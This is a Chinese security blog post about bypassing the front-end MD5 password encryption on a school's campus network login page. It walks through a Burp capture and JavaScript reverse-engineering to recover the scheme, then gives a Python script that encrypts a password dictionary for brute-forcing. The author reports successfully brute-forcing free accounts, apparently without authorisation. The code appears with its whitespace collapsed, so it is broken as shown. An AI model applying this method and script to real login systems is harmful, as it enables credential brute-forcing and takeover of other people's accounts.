某校园网登录界面前端加密绕过

admin 2024年12月26日14:32:36评论11 views字数 2346阅读7分49秒阅读模式

前言

尝试对学校校园网登录框进行爆破,发现密码在前端被加密了

某校园网登录界面前端加密绕过

Burp抓包

某校园网登录界面前端加密绕过

抓包信息

DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1&para=00&0MKKey=123456&v6ip=

From表单提交上来的文本这些参数,DDDD是用户名,upass是密码,后面的参数意义不明,看样子是MD5加密,尝试输入admin,然后拿到md5解密网站去解密一波看看

某校园网登录界面前端加密绕过

根本查不到,所以不是普通的MD5加密,遂开始Js逆向

Js逆向

点击登录按钮,查看堆栈信息,总共调用了两个JS文件

某校园网登录界面前端加密绕过

全局搜索Password,定位到这里,但显然这个password并不是用于加密的相关函数,但找了找其他关键字,也没有,索性在这里下一个断点,程序执行到这里时会卡住,

某校园网登录界面前端加密绕过

这时点击继续执行代码,点击返回之后,调用堆栈信息多出了一个JS文件a41.js

某校园网登录界面前端加密绕过

我们点击跟进,在a41.js中发现function ee()函数,此处下一个断点,这里下断点的原因程序执行完之后会把内存里的变量信息全部丢掉,所以我们要赶在程序没执行完之前去看看变量里面都有些啥,果不其然,定位到了我们输入的源数据,现在已经成功确定了加密算法函数在a41.js中

某校园网登录界面前端加密绕过

现在我们把这个a41.js下载下来分析

某校园网登录界面前端加密绕过

这段JavaScript代码包含了多个函数,主要用于处理登录逻辑、MD5加密、Base64编码,以及Cookie的设置、获取和删除。

  • ee()
    : 这个函数处理登录时的逻辑。它首先检查用户名和密码是否已输入,然后根据ps变量的值决定密码是否需要进行MD5加密或Base64编码,最后提交表单。同时,它处理与Cookie相关的逻辑,如保存登录信息。

但是在Js文件的最顶上发现ps是一个常量,所以说代码永远只会进入到else分支

某校园网登录界面前端加密绕过

这个分支就是加密的整个逻辑了,pid和cala均为常量,所以tmpchar就等于

2+用户输入+12345678,最终在将tmpchar的值md5加密,然后加上123456782

最后得出结论,

C=密文,M等于明文

C = MD5(2+M+12345678) + 12345678+2

构建Python脚本

知道加密算法之后,就可以批量加密密码来进行爆破了,虽然市面上有Burp的插件(https://github.com/c0ny1/jsEncrypter)

能直接调用JS来返回密文的,但是一点不想写JS文件,遂写了一个Python脚本用来批量加密字典

importhashlibdefmd5(input_str):returnhashlib.md5(input_str.encode()).hexdigest()defgenerate_payload(source_data):a="2"b="12345678"c=md5(a+source_data+b)payload=c+"123456782"returnpayloaddefread_data_from_file(file_path):withopen(file_path,'r')asfile:returnfile.readlines()defsave_encrypted_data_to_file(encrypted_data,file_path):withopen(file_path,'w')asfile:forencryptedinencrypted_data:file.write(f"{encrypted}n")defsave_original_and_encrypted_data(data_pairs,file_path):withopen(file_path,'w')asfile:fororiginal,encryptedindata_pairs:file.write(f"{original.strip()} : {encrypted}n")defprocess_data(input_file,encrypted_file,original_and_encrypted_file):data_pairs=[]encrypted_data=[]data_lines=read_data_from_file(input_file)forlineindata_lines:encrypted=generate_payload(line.strip())data_pairs.append((line.strip(),encrypted))encrypted_data.append(encrypted)save_encrypted_data_to_file(encrypted_data,encrypted_file)save_original_and_encrypted_data(data_pairs,original_and_encrypted_file)# Example usageinput_file='dic.txt'encrypted_file='encrypted_data.txt'original_and_encrypted_file='original_and_encrypted_data.txt'process_data(input_file,encrypted_file,original_and_encrypted_file)

最后运行效果:

某校园网登录界面前端加密绕过

至此Js的逆向就告一段落,把Python脚本加密过的payload,成功爆破出免费账户

某校园网登录界面前端加密绕过

来源:https://xz.aliyun.com/   感谢【1415065446531004

原文始发于微信公众号(船山信安):某校园网登录界面前端加密绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月26日14:32:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某校园网登录界面前端加密绕过http://cn-sec.com/archives/3555592.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息